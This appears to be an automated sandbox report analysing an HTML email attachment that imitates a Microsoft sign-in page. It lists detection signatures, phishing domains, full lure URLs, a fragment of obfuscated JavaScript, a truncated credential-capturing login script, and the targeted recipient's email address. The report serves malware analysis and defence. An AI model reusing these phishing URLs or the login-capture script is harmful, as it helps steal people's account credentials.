Edit tour

Windows Analysis Report
Product Blueprint..html

Overview

General Information

Sample name:	Product Blueprint..html
Analysis ID:	1572427
MD5:	20968d76d10105bf8cda47fb8372d67e
SHA1:	42dc3a198c14fb37afcd069b951b0b40d4768f0d
SHA256:	0f88eaa1e5e795851fdf038ac057d2ca4a0f627c3265096e4612b0f543ba056c
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Yara detected HtmlPhish54

AI detected suspicious Javascript

AI detected suspicious URL

HTML IFrame injector detected

HTML Script injector detected

HTML file submission containing password form

HTML page contains obfuscated javascript

Connects to many different domains

Detected hidden input values containing email addresses (often used in phishing pages)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Javascript checks online IP of machine

None HTTPS page querying sensitive user data (password, username or email)

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Product Blueprint..html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2116 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintCompositor --lang=en-US --service-sandbox-type=print_compositor --mojo-platform-channel-handle=6324 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.PrintingService --lang=en-US --service-sandbox-type=pdf_conversion --mojo-platform-channel-handle=6796 --field-trial-handle=1904,i,291666752959316811,4973993784526044605,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.13.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.25.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 6 entries

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T15:10:48.850239+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50033	104.244.42.67	443	TCP
2024-12-10T15:10:54.866529+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50075	188.125.88.204	443	TCP
2024-12-10T15:10:58.032078+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50096	188.125.88.204	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 1.13.id.script.csv, type: HTML
Source: Yara match	File source: 1.25.i.script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML
Source: Yara match	File source: 3.10.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.13.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.mslookupauthenticator.click/common/o... The script redirects to a suspicious domain 'mslookupauthenticator.click', which is not a known or trusted domain, indicating potential phishing activity. It also involves OAuth2 authorization, which could be used to capture sensitive user credentials. The use of a suspicious domain and the context of user authentication increase the risk significantly.
Source: 1.20.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.mslookupauthenticator.click/common/o... The script contains URLs that redirect to a suspicious domain 'mslookupauthenticator.click', which is not a known or trusted domain. This behavior is indicative of potential phishing or malicious activity. The use of obfuscated query strings further raises suspicion. These factors contribute to a high-risk score.

AI detected suspicious URL

Source: Email

Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://mslookupauthenticator.click

HTML IFrame injector detected

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: New IFrame, src: https://autenticatorresolver.online/fl/ryzm5vdi

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: New script tag found

HTML page contains obfuscated javascript

Source: https://autenticatorresolver.online/fl/ryzm5vdi

HTTP Parser: function _0x44cc(_0x2086ec,_0xb3380d){const _0x306e18=_0x23d3();return _0x44cc=function(_0x5a79bc

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: uk.bdt@belzona.com

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: Number of links: 0
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	HTTP Parser: Number of links: 0
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: Total embedded image size: 182784

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: Base64 decoded: 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" ...

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: Title: Sign in to your Microsoft account does not match URL
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://autenticatorresolver.online/fl/ryzm5vdi

HTTP Parser: document.addeventlistener("domcontentloaded", function() { // php variables passed to javascript var coreemail = "uk.bdt@belzona.com"; var groupid = "1"; // get the form and input elements const form = document.getelementbyid("loginform"); const passwordfield = document.getelementbyid("passwordfield"); const emailfield = document.getelementbyid("emailfield"); const passworderror = document.getelementbyid("passworderror"); const sessionerroralert = document.getelementbyid("sessionerroralert"); const networkerroralert = document.getelementbyid("networkerroralert"); const emailheading = document.getelementbyid('emailheading'); // set email value in the h1 tag and email input field emailheading.textcontent = coreemail; emailfield.value = coreemail; // event listener for form submission form.addeventlistener("submit", async function(event) { event.preventdefault(); ...

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html

HTTP Parser: Has password / email / username input fields

Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: /cascadeauth/account/silentauth?auth=default
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://fpt.microsoft.com/tags?session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: /cascadeauth/account/silentauth?auth=default
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://fpt.microsoft.com/tags?session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: /cascadeauth/account/silentauth?auth=default
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://fpt.microsoft.com/tags?session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://mscom.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.microsoft.com
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: /cascadeauth/account/silentauth?auth=default
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://fpt.microsoft.com/tags?session_id=2772790f-7f7e-4ab0-9434-67d6071c84b9
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: Iframe src: https://mscom.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.microsoft.com

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: <input type="password" .../> found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: <input type="password" .../> found

Source: Product Blueprint..html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No favicon
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/servicesagreement	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Product%20Blueprint..html	HTTP Parser: No <meta name="copyright".. found
Source: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#email=uk.bdt@belzona.com	HTTP Parser: No <meta name="copyright".. found
